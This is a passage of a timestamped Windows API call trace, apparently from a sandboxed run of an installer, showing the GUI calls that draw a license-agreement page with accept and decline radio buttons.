(lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0264.296] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0264.296] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0264.297] IsIconic (hWnd=0xc0060) returned 0 [0264.297] IsIconic (hWnd=0xc0060) returned 0 [0264.297] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0264.297] FillRect (hDC=0x3901069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0264.297] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3901069e, lParam=0x4) returned 0x0 [0264.297] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3901069e, lParam=0x10340) returned 0xe100186 [0264.297] GetSysColor (nIndex=8) returned 0x0 [0264.297] SetTextColor (hdc=0x3901069e, color=0x0) returned 0x0 [0264.297] GetSysColor (nIndex=15) returned 0xf0f0f0 [0264.297] SetBkColor (hdc=0x3901069e, color=0xf0f0f0) returned 0xf0f0f0 [0264.297] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.298] GetCurrentProcessId () returned 0x8d0 [0264.298] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.298] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0264.298] GetCurrentProcessId () returned 0x8d0 [0264.298] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0264.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0264.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0264.298] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0264.299] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0264.299] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=821, y=593)) returned 1 [0264.299] WindowFromPoint (Point=0x335) returned 0x10340 [0264.299] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2530335) returned 0x1 [0264.299] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0264.299] GetCurrentProcessId () returned 0x8d0 [0264.299] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.299] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0264.299] GetCapture () returned 0x0 [0264.299] WaitMessage () returned 1 [0264.351] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.352] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.352] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=821, y=600)) returned 1 [0264.352] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0264.352] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.352] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0264.352] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.352] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.352] GetCapture () returned 0x0 [0264.352] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0264.352] WindowFromPoint (Point=0x335) returned 0x10340 [0264.352] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.352] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0264.352] GetCurrentProcessId () returned 0x8d0 [0264.353] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.353] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0264.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0xc0017) returned 0x0 [0264.353] GetKeyState (nVirtKey=18) returned 1 [0264.353] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2580335) returned 0x1 [0264.353] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x153015e) returned 0x0 [0264.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0264.353] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0264.353] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=821, y=600)) returned 1 [0264.353] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0264.353] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0264.353] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0264.354] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.354] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.354] GetFocus () returned 0x10340 [0264.354] GetCapture () returned 0x0 [0264.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0264.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0xc0017) returned 0x0 [0264.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0264.354] GetKeyState (nVirtKey=18) returned 1 [0264.354] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0264.354] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0264.354] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0264.354] GetCapture () returned 0x10340 [0264.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0xc0017) returned 0x0 [0264.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0264.354] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0264.355] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0264.355] GetCurrentProcessId () returned 0x8d0 [0264.355] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0264.355] SetWindowPos (hWnd=0xb0168, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x3) returned 1 [0264.355] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x46, wParam=0x0, lParam=0x18f864) returned 0x0 [0264.355] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0264.355] IsIconic (hWnd=0xb0168) returned 0 [0264.355] GetWindowRect (in: hWnd=0xb0168, lpRect=0x18f630 | out: lpRect=0x18f630) returned 1 [0264.356] GetWindowLongA (hWnd=0xb0168, nIndex=-16) returned 1174405120 [0264.356] GetWindowLongA (hWnd=0xb0168, nIndex=-8) returned 393296 [0264.356] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f630 | out: lpPoint=0x18f630) returned 1 [0264.356] ScreenToClient (in: hWnd=0x60050, lpPoint=0x18f638 | out: lpPoint=0x18f638) returned 1 [0264.356] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x47, wParam=0x0, lParam=0x18f864) returned 0x0 [0264.356] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.356] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18f74c | out: lpWndClass=0x18f74c) returned 1 [0264.356] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewRadioButton", lpWndClass=0x18f7b4 | out: lpWndClass=0x18f7b4) returned 0 [0264.356] RegisterClassA (lpWndClass=0x18f74c) returned 0x2ac1e5 [0264.356] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewRadioButton", lpWindowName="I &do not accept the agreement", dwStyle=0x44010004, X=0, Y=216, nWidth=417, nHeight=17, hWndParent=0x20320, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1034a [0264.357] SetWindowLongA (hWnd=0x1034a, nIndex=-4, dwNewLong=2297657) returned 4274892 [0264.357] GetWindowLongA (hWnd=0x1034a, nIndex=-16) returned 1140916228 [0264.357] GetWindowLongA (hWnd=0x1034a, nIndex=-12) returned 0 [0264.357] SetWindowLongA (hWnd=0x1034a, nIndex=-12, dwNewLong=66378) returned 0 [0264.357] SetPropA (hWnd=0x1034a, lpString=0xc167, hData=0x2c86c44) returned 1 [0264.357] SetPropA (hWnd=0x1034a, lpString=0xc168, hData=0x2c86c44) returned 1 [0264.357] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x81, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0264.358] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x83, wParam=0x0, lParam=0x18f2e8) returned 0x0 [0264.358] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x1, wParam=0x0, lParam=0x18f2fc) returned 0x0 [0264.359] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x55, wParam=0x1034a, lParam=0x3) returned 0x1 [0264.359] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0264.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0264.359] IsIconic (hWnd=0x1034a) returned 0 [0264.359] GetWindowRect (in: hWnd=0x1034a, lpRect=0x18f0f0 | out: lpRect=0x18f0f0) returned 1 [0264.359] GetWindowLongA (hWnd=0x1034a, nIndex=-16) returned 1140916228 [0264.359] GetWindowLongA (hWnd=0x1034a, nIndex=-8) returned 131872 [0264.359] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0f0 | out: lpPoint=0x18f0f0) returned 1 [0264.359] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0f8 | out: lpPoint=0x18f0f8) returned 1 [0264.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x5, wParam=0x0, lParam=0x1101a1) returned 0x0 [0264.359] GetClientRect (in: hWnd=0x1034a, lpRect=0x18f11c | out: lpRect=0x18f11c) returned 1 [0264.359] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x3, wParam=0x0, lParam=0xd80000) returned 0x0 [0264.359] IsIconic (hWnd=0x1034a) returned 0 [0264.359] GetWindowRect (in: hWnd=0x1034a, lpRect=0x18f0f4 | out: lpRect=0x18f0f4) returned 1 [0264.359] GetWindowLongA (hWnd=0x1034a, nIndex=-16) returned 1140916228 [0264.359] GetWindowLongA (hWnd=0x1034a, nIndex=-8) returned 131872 [0264.359] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0f4 | out: lpPoint=0x18f0f4) returned 1 [0264.360] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0fc | out: lpPoint=0x18f0fc) returned 1 [0264.360] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f124 | out: lpdwProcessId=0x18f124) returned 0x8cc [0264.360] GetCurrentProcessId () returned 0x8d0 [0264.360] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0264.360] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbe10, wParam=0x34a0001, lParam=0x1034a) returned 0x0 [0264.360] IsIconic (hWnd=0x1034a) returned 0 [0264.360] GetWindowRect (in: hWnd=0x1034a, lpRect=0x18f6dc | out: lpRect=0x18f6dc) returned 1 [0264.360] GetWindowLongA (hWnd=0x1034a, nIndex=-16) returned 1140916228 [0264.360] GetWindowLongA (hWnd=0x1034a, nIndex=-8) returned 131872 [0264.360] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f6dc | out: lpPoint=0x18f6dc) returned 1 [0264.360] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f6e4 | out: lpPoint=0x18f6e4) returned 1 [0264.360] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.360] SendMessageA (hWnd=0x1034a, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0264.360] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf1, wParam=0x1, lParam=0x0) returned 0x0 [0264.360] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f468) returned 0x0 [0264.360] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f468) returned 0x0 [0264.361] SetPropA (hWnd=0x1034a, lpString=0xc167, hData=0x2c86c44) returned 1 [0264.361] SetPropA (hWnd=0x1034a, lpString=0xc168, hData=0x2c86c44) returned 1 [0264.361] SetWindowPos (hWnd=0x1034a, hWndInsertAfter=0x20322, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x46, wParam=0x0, lParam=0x18f7a8) returned 0x0 [0264.361] SetWindowPos (hWnd=0x1034a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x46, wParam=0x0, lParam=0x18f74c) returned 0x0 [0264.361] IsIconic (hWnd=0x1034a) returned 0 [0264.361] GetWindowRect (in: hWnd=0x1034a, lpRect=0x18f50c | out: lpRect=0x18f50c) returned 1 [0264.361] GetWindowLongA (hWnd=0x1034a, nIndex=-16) returned 1409351684 [0264.361] GetWindowLongA (hWnd=0x1034a, nIndex=-8) returned 131872 [0264.361] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f50c | out: lpPoint=0x18f50c) returned 1 [0264.361] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f514 | out: lpPoint=0x18f514) returned 1 [0264.361] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x47, wParam=0x0, lParam=0x18f74c) returned 0x0 [0264.362] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.362] GetClassInfoA (in: hInstance=0x400000, lpClassName="BUTTON", lpWndClass=0x18f74c | out: lpWndClass=0x18f74c) returned 1 [0264.362] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewRadioButton", lpWndClass=0x18f7b4 | out: lpWndClass=0x18f7b4) returned 1 [0264.362] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewRadioButton", lpWindowName="I &accept the agreement", dwStyle=0x44000004, X=0, Y=196, nWidth=417, nHeight=17, hWndParent=0x20320, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1034c [0264.362] SetWindowLongA (hWnd=0x1034c, nIndex=-4, dwNewLong=2297644) returned 4274892 [0264.362] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1140850692 [0264.362] GetWindowLongA (hWnd=0x1034c, nIndex=-12) returned 0 [0264.362] SetWindowLongA (hWnd=0x1034c, nIndex=-12, dwNewLong=66380) returned 0 [0264.362] SetPropA (hWnd=0x1034c, lpString=0xc167, hData=0x2c87bd0) returned 1 [0264.362] SetPropA (hWnd=0x1034c, lpString=0xc168, hData=0x2c87bd0) returned 1 [0264.362] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x81, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0264.363] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x83, wParam=0x0, lParam=0x18f2e8) returned 0x0 [0264.363] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x1, wParam=0x0, lParam=0x18f2fc) returned 0x0 [0264.363] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x55, wParam=0x1034c, lParam=0x3) returned 0x1 [0264.363] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0264.363] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0264.363] IsIconic (hWnd=0x1034c) returned 0 [0264.363] GetWindowRect (in: hWnd=0x1034c, lpRect=0x18f0f0 | out: lpRect=0x18f0f0) returned 1 [0264.364] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1140850692 [0264.364] GetWindowLongA (hWnd=0x1034c, nIndex=-8) returned 131872 [0264.364] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0f0 | out: lpPoint=0x18f0f0) returned 1 [0264.364] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0f8 | out: lpPoint=0x18f0f8) returned 1 [0264.364] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x5, wParam=0x0, lParam=0x1101a1) returned 0x0 [0264.364] GetClientRect (in: hWnd=0x1034c, lpRect=0x18f11c | out: lpRect=0x18f11c) returned 1 [0264.364] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x3, wParam=0x0, lParam=0xc40000) returned 0x0 [0264.364] IsIconic (hWnd=0x1034c) returned 0 [0264.364] GetWindowRect (in: hWnd=0x1034c, lpRect=0x18f0f4 | out: lpRect=0x18f0f4) returned 1 [0264.364] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1140850692 [0264.364] GetWindowLongA (hWnd=0x1034c, nIndex=-8) returned 131872 [0264.364] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0f4 | out: lpPoint=0x18f0f4) returned 1 [0264.364] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f0fc | out: lpPoint=0x18f0fc) returned 1 [0264.364] GetWindowThreadProcessId (in: hWnd=0x1034c, lpdwProcessId=0x18f124 | out: lpdwProcessId=0x18f124) returned 0x8cc [0264.364] GetCurrentProcessId () returned 0x8d0 [0264.364] GetPropA (hWnd=0x1034c, lpString=0xc167) returned 0x2c87bd0 [0264.364] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xbe10, wParam=0x34c0001, lParam=0x1034c) returned 0x0 [0264.364] IsIconic (hWnd=0x1034c) returned 0 [0264.364] GetWindowRect (in: hWnd=0x1034c, lpRect=0x18f6dc | out: lpRect=0x18f6dc) returned 1 [0264.364] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1140850692 [0264.364] GetWindowLongA (hWnd=0x1034c, nIndex=-8) returned 131872 [0264.364] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f6dc | out: lpPoint=0x18f6dc) returned 1 [0264.364] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f6e4 | out: lpPoint=0x18f6e4) returned 1 [0264.364] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0264.364] SendMessageA (hWnd=0x1034c, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0264.364] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf1, wParam=0x0, lParam=0x0) returned 0x0 [0264.365] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7c, wParam=0xfffffff0, lParam=0x18f468) returned 0x0 [0264.365] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x7d, wParam=0xfffffff0, lParam=0x18f468) returned 0x0 [0264.365] SetPropA (hWnd=0x1034c, lpString=0xc167, hData=0x2c87bd0) returned 1 [0264.365] SetPropA (hWnd=0x1034c, lpString=0xc168, hData=0x2c87bd0) returned 1 [0264.365] SetWindowPos (hWnd=0x1034c, hWndInsertAfter=0x20322, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0264.365] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x46, wParam=0x0, lParam=0x18f7a8) returned 0x0 [0264.365] IsIconic (hWnd=0x1034c) returned 0 [0264.365] GetWindowRect (in: hWnd=0x1034c, lpRect=0x18f568 | out: lpRect=0x18f568) returned 1 [0264.365] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1140850692 [0264.365] GetWindowLongA (hWnd=0x1034c, nIndex=-8) returned 131872 [0264.365] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f568 | out: lpPoint=0x18f568) returned 1 [0264.365] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f570 | out: lpPoint=0x18f570) returned 1 [0264.366] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x47, wParam=0x0, lParam=0x18f7a8) returned 0x0 [0264.366] SetWindowPos (hWnd=0x1034c, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.366] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x46, wParam=0x0, lParam=0x18f74c) returned 0x0 [0264.366] IsIconic (hWnd=0x1034c) returned 0 [0264.366] GetWindowRect (in: hWnd=0x1034c, lpRect=0x18f50c | out: lpRect=0x18f50c) returned 1 [0264.366] GetWindowLongA (hWnd=0x1034c, nIndex=-16) returned 1409286148 [0264.366] GetWindowLongA (hWnd=0x1034c, nIndex=-8) returned 131872 [0264.366] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f50c | out: lpPoint=0x18f50c) returned 1 [0264.366] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f514 | out: lpPoint=0x18f514) returned 1 [0264.366] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x47, wParam=0x0, lParam=0x18f74c) returned 0x0 [0264.366] SetWindowPos (hWnd=0x20322, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0264.366] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x46, wParam=0x0, lParam=0x18f758) returned 0x0 [0264.367] IsIconic (hWnd=0x20322) returned 0 [0264.367] GetWindowRect (in: hWnd=0x20322, lpRect=0x18f524 | out: lpRect=0x18f524) returned 1 [0264.367] GetWindowLongA (hWnd=0x20322, nIndex=-16) returned 1409353796 [0264.367] GetWindowLongA (hWnd=0x20322, nIndex=-8) returned 131872 [0264.367] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f524 | out: lpPoint=0x18f524) returned 1 [0264.367] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f52c | out: lpPoint=0x18f52c) returned 1 [0264.367] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x20322, Msg=0x47, wParam=0x0, lParam=0x18f758) returned 0x0 [0264.367] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0264.367] GetClassInfoA (in: hInstance=0x400000, lpClassName="STATIC", lpWndClass=0x18f754 | out: lpWndClass=0x18f754) returned 1 [0264.367] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewStaticText", lpWndClass=0x18f7bc | out: lpWndClass=0x18f7bc) returned 1 [0264.367] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewStaticText", lpWindowName="Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.", dwStyle=0x44000180, X=0, Y=0, nWidth=417, nHeight=27, hWndParent=0x20320, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1034e [0264.368] SetWindowLongA (hWnd=0x1034e, nIndex=-4, dwNewLong=2297618) returned 4274892 [0264.368] GetWindowLongA (hWnd=0x1034e, nIndex=-16) returned 1140851072 [0264.368] GetWindowLongA (hWnd=0x1034e, nIndex=-12) returned 0 [0264.368] SetWindowLongA (hWnd=0x1034e, nIndex=-12, dwNewLong=66382) returned 0 [0264.368] SetPropA (hWnd=0x1034e, lpString=0xc167, hData=0x2c7448c) returned 1 [0264.368] SetPropA (hWnd=0x1034e, lpString=0xc168, hData=0x2c7448c) returned 1 [0264.368] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x81, wParam=0x0, lParam=0x18f314) returned 0x1 [0264.368] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x83, wParam=0x0, lParam=0x18f300) returned 0x0 [0264.368] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x1, wParam=0x0, lParam=0x18f314) returned 0x0 [0264.368] IsIconic (hWnd=0x1034e) returned 0 [0264.368] GetWindowRect (in: hWnd=0x1034e, lpRect=0x18f114 | out: lpRect=0x18f114) returned 1 [0264.369] GetWindowLongA (hWnd=0x1034e, nIndex=-16) returned 1140851072 [0264.369] GetWindowLongA (hWnd=0x1034e, nIndex=-8) returned 131872 [0264.369] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f114 | out: lpPoint=0x18f114) returned 1 [0264.369] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f11c | out: lpPoint=0x18f11c) returned 1 [0264.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x5, wParam=0x0, lParam=0x1b01a1) returned 0x0 [0264.369] GetClientRect (in: hWnd=0x1034e, lpRect=0x18f140 | out: lpRect=0x18f140) returned 1 [0264.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0264.369] IsIconic (hWnd=0x1034e) returned 0 [0264.369] GetWindowRect (in: hWnd=0x1034e, lpRect=0x18f118 | out: lpRect=0x18f118) returned 1 [0264.369] GetWindowLongA (hWnd=0x1034e, nIndex=-16) returned 1140851072 [0264.369] GetWindowLongA (hWnd=0x1034e, nIndex=-8) returned 131872 [0264.369] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f118 | out: lpPoint=0x18f118) returned 1 [0264.369] ScreenToClient (in: hWnd=0x20320, lpPoint=0x18f120 | out: lpPoint=0x18f120) returned 1 [0264.369] GetWindowThreadProcessId (in: hWnd=0x1034e, lpdwProcessId=0x18f13c | out: lpdwProcessId=0x18f13c) returned 0x8cc [0264.369] GetCurrentProcessId () returned 0x8d0 [0264.369] GetPropA (hWnd=0x1034e, lpString=0xc167) returned 0x2c7448c [0264.369] CallWindowProcA (lpPrevWndFunc=0xffff0213, hWnd=0x1034e, Msg=0xbe10, wParam=0x34e0001, lParam=0x1034e) returned 0x0 [0264.369] IsIconic (hWnd=0x1034e) returned 0 [0264.369] GetWindowRect (in: hWnd=0x1034e, lpRect=0x18f6e4 | out: lpRect=0x18f6e4) returned 1 [0264.369] 